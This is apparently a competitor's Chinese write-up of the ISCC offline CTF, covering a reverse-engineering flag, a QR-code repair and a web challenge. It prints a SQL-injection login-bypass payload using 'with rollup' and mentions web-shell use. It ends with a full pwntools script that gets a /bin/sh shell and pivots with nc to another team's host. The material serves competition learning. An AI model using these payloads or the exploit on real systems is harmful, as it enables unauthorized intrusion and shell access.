ISCC 线下赛 wp
这次是我第一次参加线下赛不得不说成绩还算可以
抱着三等奖的心态参加,结果拿了二等奖
只做出一道web, 经验太少了,所有的flag都是手打的导致我们做完一道题就根本没心思做别的题目了,忙于手动刷分
re
这道题很奇怪,我的mac下载下来exe放到windows打不开,只能在windows下载下来,然后
关卡题目的re
先拖一个壳
然后按照密码分别输入1-14
出来的是
1 -> for
2 -> ISC
3 -> _ar
4 -> icu
5 -> thi
6 -> ngs
7 -> iff
8 -> _ar
9 -> C{A
10-> lt}
11-> _be
12-> ll
13-> e_d
14-> hey
15-> e_t
16-> e_e
然后按照语义分析可以拼出flag -> ISCC{All_things_are_easy_before_they_are_difficult}
...这真的是逆向吗。
misc
这是道二维码的题目,不过我想起来那时候在安恒做到过这类的,二维码要求在两个大黑框之间必须有连续的黑白点,这样才行
逐帧分析gif,发现只有第62帧存在一个校正图形
image
,保存补上位置探测图形和定位图形
image
,扫描得到ISRDQzgxMDI=,base64解码得到!$CC8102
web
这次比赛其实实际做的就只有一道web题。。。
web1
进入之后
一个登陆界面
可以看到一个hint.txt在请求头中
然后访问一下有一部分的源码
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql);
if (mysqli_num_rows($query) == 1) {
$key = mysqli_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
echo "xxxxxxxxx";
}else{
echo "浣犺繖瀵嗙爜涓嶅お瀵瑰晩";
}
}else if(mysqli_num_rows($query) == 0){
echo "浣犺繖瀵嗙爜涓嶅お瀵瑰晩";
}
else{
echo "鏁版嵁澶浜";
}
他是查询到一个结果然后在去数据库中查找有没有这一行的密码
查询不到或者密码错误都是不行的
这样只能用sql的with rollup了,在表的最后一行加上一个null在查询的时候就不会为空了
等于1的话只要加上limit 1 就可以了
自己写了一个数据库试一下
然后就拿这个语句就可以了
ckj"^"0" group by pwd with rollup limit 1 offset 1
offset 1 是因为数据库里面只有一条
赛后主办说其实是希望我们把那个账号爆破出来的,其实在注册页面给了信息就是账号必须为iscc_ _后面加四个数字,也就10000种可能,然后我猜他的payload应该是
iscc_0000" group by pwd with rollup limit offset 1
其实 "ckj"^"0"
也是为真的跟iscc_0000也差不多=。=
之后就会弹出一堆乱七八糟的-。-
那时候我们是先base64解了,然后再将加减全删了,就得到一个路径,那里就是我们最后的shell的目录,就可以打别人的私地了。
主办发说=。=那个是utf-7编码,怪我知识浅薄,不得不说中国蚁剑真的好用!flag一直显示错误就很难受
pwn
pwn是aris师傅做的,不得不说太强了,全场第一第二个做出来的,然后我们靠这个pwn刷了一天的分数
首先正常逻辑通过四道小关卡,然后发现第三关存在逻辑漏洞,可以使最后键入的值在key表之外,这样就可以进入隐藏关
隐藏关可以任意修改N结构体的一部分,观察到fini节区有gg函数,内包含任意地址执行,说明程序退出时可以连续调用多次任意地址执行
然后在main函数下方发现_nr函数可以修改任意地址写,就满足了getshell的两个条件。附上脚本
from pwn import *
#context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn = remote('192.168.31.82',8000)
#cn = process('./wTEdNnGnqZHQigN8.Pwn02')
cn.sendline('8584')
cn.sendline('[1, 1, 3, 5, 11, 21]')
cn.sendline('mappingstringsforfunandprofit{')
cn.sendline('0 0 1 0 0 3 1 a')
sys = 0x080485A0
#z('set follow-fork-mode parent\nb*0x080487F7\nc')
buf = 'aaaa' + p32(0x08048CDA)
cn.sendline(buf)
buf = 'bbbb' + p32(sys)
cn.sendline(buf)
cn.sendline('')
cn.sendline('')
buf = 'a' * 0xfc + p32(0x0804B070)
cn.sendline(buf)
cn.sendline('/bin/sh\x00')
cn.recv()
cn.sendline('nc 192.168.37.36 8000')
cn.sendline('8584')
cn.sendline('[1, 1, 3, 5, 11, 21]')
cn.sendline('mappingstringsforfunandprofit{')
cn.sendline('0 0 1 0 0 3 1 a')
sys = 0x080485A0
#z('set follow-fork-mode parent\nb*0x080487F7\nc')
buf = 'aaaa' + p32(0x08048CDA)
cn.sendline(buf)
buf = 'bbbb' + p32(sys)
cn.sendline(buf)
cn.sendline('')
cn.sendline('')
buf = 'a' * 0xfc + p32(0x0804B070)
cn.sendline(buf)
cn.sendline('/bin/sh\x00')
cn.interactive()
网友评论